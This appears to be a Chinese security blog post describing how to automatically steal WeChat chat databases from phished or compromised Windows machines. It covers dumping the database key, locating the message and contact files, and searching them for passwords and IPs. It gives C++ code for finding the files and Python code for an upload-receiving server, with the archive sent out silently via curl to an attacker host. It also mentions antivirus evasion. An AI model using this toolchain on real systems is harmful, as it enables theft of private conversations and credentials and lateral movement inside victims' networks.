微信聊天記錄之自動化回傳
VSole2022-11-04 09:28:31
場景
釣魚攻擊(通過釣魚/微信控到的機器通常都是登錄狀態)
滲透到運維機器(有些運維機器會日常登錄自己的微信)
實戰中釣魚時常在微信聊天記錄中找到目標內網系統賬號、機器賬號密碼,盡可能的不觸發大量掃描告警下在內網中精準打到跳板機,文章僅供學習使用。
手動
1、獲取微信數據庫密鑰,回傳DBpass.bin,項目地址。
https://github.com/Ormicron/Sharp-dumpkey

2、下載目標聊天數據庫文件,默認保存目錄在以下目錄,超出240MB會自動生成MSG1.db,以此類推。
c:\User\xxxx\Documents\Wechat Files\ wxid_xxxxx\Msg\Multi wxid_xxxxxxxx\Msg\Multi\MSG0.db > 聊天記錄wxid_xxxxxxxx\Msg\Multi\MSG1.db > 聊天記錄wxid_xxxxxxxx\Msg\Multi\MSG2.db > 聊天記錄wxid_xxxxxxxx\Msg\MicroMsg.db > Contact字段 > 好友列表wxid_xxxxxxxx\Msg\MediaMsg.db > 語音 > 格式為silk

3.將上面三個文件回傳到同目錄,配合ChatViewTool打開解密即可查看,在搜索處“administrator” “root” “密碼” “ip等”,項目地址。
https://github.com/Ormicron/chatViewTool

自動化
看網上用的是根據注冊表獲取微信默認位置,其中需要微信id,通過基址和偏移可以得到,如果上線權限較低無法操作注冊表或殺軟hook就很尷尬了
這里用FindFirstFile遍歷全盤指定文件后綴,如MSG0.db,MicroMsg.db文件壓縮打包并通過curl后臺運行上傳到服務器。(curl.exe win10默認自帶,可以上傳一個或者引用C++第三方庫),項目地址。
https://github.com/c1y2m3/FileSearch
服務端接收文件
使用curl將打包壓縮的文件上傳Put到文件服務器,example:python http_server.py 8 /opt/rh。
參考鏈接:
https://floatingoctothorpe.uk/2017/receiving-files-over-http-with-python.html
#!/usr/bin/env python
"""Extend Python's built in HTTP server to save files"""import osimport loggingimport systry: import http.server as serverexcept ImportError: # Handle Python 2.x import SimpleHTTPServer as server
log_path = 'run_server_logs.log'logging.basicConfig(level=logging.INFO,format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',datefmt='%a, %d %b %Y %H:%M:%S',filename=log_path)class HTTPRequestHandler(server.SimpleHTTPRequestHandler):
def do_GET(self): self.send_response(404) self.wfile.write("404 Not Found")
"""Extend SimpleHTTPRequestHandler to handle PUT requests""" def do_PUT(self): """Save a file following a HTTP PUT request""" filename = os.path.basename(self.path)
# Don't overwrite files if os.path.exists(filename): self.send_response(409, 'Conflict') self.end_headers() reply_body = '"%s" already exists\n' % filename self.wfile.write(reply_body.encode('utf-8')) return
file_length = int(self.headers['Content-Length']) output_file = 'tmp.txt' with open(filename, 'wb') as output_file: output_file.write(self.rfile.read(file_length)) self.send_response(201, 'Created') self.end_headers() reply_body = 'Saved "%s"\n' % filename logging.info(self.headers) self.wfile.write(reply_body.encode('utf-8'))
if __name__ == '__main__': if sys.argv[2:]: os.chdir(sys.argv[2]) server.test(HandlerClass=HTTPRequestHandler)
最終效果
FileSearchPlus.exe default xxx.xxx.xxx.xxx

改進

注:實戰中發現全盤查找微信db在c2中非常拉跨,查找等待時間較長,且盤符越多越慢
1、直接讀取注冊表的鍵值,wxid關鍵字匹配拼接路徑(碰到用戶自設的路徑,需要加個指定路徑去)

void getPath(char *dbpath){ char cmd_command[256] = { 0 }; char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"; HKEY hKey; DWORD dwType = REG_BINARY; REGSAM mode = KEY_READ; DWORD length = 256; int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey);
ret = RegQueryValueEx(hKey, "Personal", 0, &dwType, (LPBYTE)dbpath, &length); strcat(dbpath, "\\WeChat Files"); //cout << dbpath << endl;
if (ret == 0) { RegCloseKey(hKey); } else { printf("failed to open regedit.%d\n", ret); }}
void getFileNames(string path, vector<string>& files){ intptr_t hFile = 0; //文件信息 struct _finddata_t fileinfo; string p; string::size_type idx;
if ((hFile = _findfirst(p.assign(path).append("\\*").c_str(), &fileinfo)) != -1) { do { //如果是目錄,匹配文件夾 if ((fileinfo.attrib & _A_SUBDIR)) { if (strstr(fileinfo.name, "wxid") != NULL) files.push_back(p.assign(path).append("\\").append(fileinfo.name)); }
} while (_findnext(hFile, &fileinfo) == 0); _findclose(hFile); }}
2、傳輸改成socket協議,支持大文件上傳,效率很快,需要啟動個Server socket

3、遠程拉取基址,考慮到免殺性改成了C++代碼,參考。
https://github.com/Ormicron/Sharp-dumpkey

本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
VSole
網絡安全專家